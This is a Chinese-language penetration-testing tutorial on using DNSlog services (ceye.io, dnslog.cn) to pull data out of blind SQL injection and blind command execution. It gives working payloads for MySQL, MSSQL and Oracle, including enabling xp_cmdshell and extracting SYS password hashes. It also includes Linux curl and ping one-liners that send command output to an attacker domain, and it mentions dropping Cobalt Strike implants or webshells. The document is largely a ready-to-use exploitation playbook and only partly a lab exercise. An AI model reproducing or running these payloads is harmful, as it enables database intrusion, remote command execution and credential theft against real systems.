0x01 注入利用dnslog原理
如圖所示,作為攻擊者,提交注入語句,讓數據庫把需要查詢的值和域名拼接起來,然后發生DNS查詢,我們只要能獲得DNS的日志,就得到了想要的值。所以我們需要有一個自己的域名,然后在域名商處配置一條NS記錄,然后我們在NS服務器上面獲取DNS日志即可。
免費DNS服務器平台:
http://ceye.io/ http://dnslog.cn/
0x02 dnslog應用在哪些場景下
- SQL注入中的盲注
- 無回顯的命令執行
- 無回顯的SSRF
簡單理解就是在某些無法直接利用漏洞獲得回顯的情況下,但是目標可以發起DNS請求,這個時候就可以通過這種方式把想獲得的數據外帶出來。
0x03 在mysql盲注中的應用
mysql中主要利用到load_file函數,它在mysql中是用來讀取文件並返回文件內容為字符串,實際上它還可以用來發送dns請求。
且要注意一點:load_file函數在Linux下是無法用來做dnslog攻擊的。
使用此函數需要滿足以下條件: (1).所讀文件必須在服務器上,且必須指定文件其絕對路徑 (2).連接當前數據庫用戶必須有FILE權限 (3).文件內容必須小於max_allowed_packet。
利用的payload:
?id=1' union select load_file(concat('\\\\\\\\',(select database()),'.xxxx.ceye.io\\abc'))--+ ?id=1' and if((select load_file(concat('\\\\',(select database()),'.XXXXX.ceye.io\\abc'))),1,1)--+ database()就是要做sql注入查詢的地方
ceye.io平台注冊之后會給分配一個二級域名,這里我們把查詢的語句拼接到三級域名上,dns解析之后將在平台上記錄解析域名,每條記錄的三級域名將顯示我們sql語句查詢的結果。比如這里三級域名將是查詢到的數據庫。以dnslog的方式來使查詢結果完整顯示出來,比直接盲注查詢的要快很多。
查詢表或字段時需要加 limit 限制輸出,每一次查詢對應一條dns記錄,也就一個三級域名,一個查詢結果,因此limit限制輸出的結果為1.
這里以sqli-labs第八關盲注為例,練習dnslog注入:
查看當前數據庫:
http://127.0.0.1/sqli-labs-master/Less-8/?id=1%27and%20if((select%20load_file(concat(%27\\\\%27,(select%20database()),%27.xxx.ceye.io\\abc%27))),1,1)--+
可看到當前數據庫為security
獲取當前用戶,需要對user()函數進行hex處理,hex(user())
然后將hex字符再自行解出,這里解碼為:root@localhost
后續操作類似於上。這里load_file函數執行結果為null的、有問題的,需要先解決使用此函數需滿足的三個條件。
0x04 在mssql中的應用
需要存在堆疊注入,能用;一條一條執行sql命令,poc:
http://127.0.0.1/mssql.php?id=1; DECLARE @host varchar(1024);SELECT @host=(SELECT master.dbo.fn_varbintohexstr(convert(varbinary,rtrim(pass))) FROM 庫名.dbo.test_user where [USER] = 'admin')%2b'.nk40ci.ceye.io'; EXEC('master..xp_dirtree "\'%2b@host%2b'\foobar$"');
測試是否為堆疊:?id=1';WAITFOR DELAY '0:0:5'--
獲取當前用戶:
id=2';declare @a char(128);set @a='\\'%2buser%2b'.***.ceye.io\abc';exec master..xp_dirtree @a;--
獲取庫名:
id=2';declare @a char(128);set @a='\\'%2b(select top 1 name from master.dbo.sysdatabases)%2b'.***.ceye.io\abc';exec master..xp_dirtree @a;--
用sqlmap跑出如果數據庫為sa權限,那么就可以開啟xp_cmdshell組件進行命令執行
開啟xp_cmdshell: EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;
命令執行sql語句:
id=2';exec master..xp_cmdshell 'whoami'--
這樣的話沒回顯執行。
配合dnslog,通過如下語句,將命令執行的結果返回到dns服務器平台上,查看http日志即可:
?id=1';exec master..xp_cmdshell "for /F %s in ('whoami') do start http://xxx.ceye.io/?%s"--
將whoami執行的顯示結果返回到http記錄的url最后面的變量,變量名為命令執行顯示結果。
由於這條語句將打開本地默認瀏覽器,因此需要關閉瀏覽器,默認不是ie的話用tasklist看一下即可:
?id=123';exec master..xp_cmdshell "taskkill /f /im iexplore.exe"--
其實實戰時不用知道回顯結果,只要能執行命令就行,那么能通外網的話就可以下載執行我們的cs馬兒,然后直接就上線了。或者知道絕對路徑直接寫webshell。
針對linux服務器的話:
curl http://xxx.ceye.io/`whoami` 再平台上查看http記錄 ping -c 1 `whoami`.xxx.ceye.io 在平台上查看dns記錄 需要多條顯示結果的ls: for i in $(ls /);do curl "http://$i.xxx.ceye.io/";done;
自動化命令執行工具:https://github.com/quyunjie/Red-Team/blob/master/mssql-rce/mandros.py
0x05 oracle
SELECT UTL_INADDR.GET_HOST_ADDRESS('b182oj.ceye.io'); SELECT UTL_HTTP.REQUEST('http://b182oj.ceye.io/oracle') FROM DUAL; SELECT HTTPURITYPE('http://b182oj.ceye.io/oracle').GETCLOB() FROM DUAL; SELECT DBMS_LDAP.INIT(('oracle.b182oj.ceye.io',80) FROM DUAL; SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.b182oj.ceye.io',80) FROM DUAL;
參考鏈接:https://www.anquanke.com/post/id/98096#h3-5
關於dnslog利用的腳本自動化:https://github.com/ADOOO/DnslogSqlinj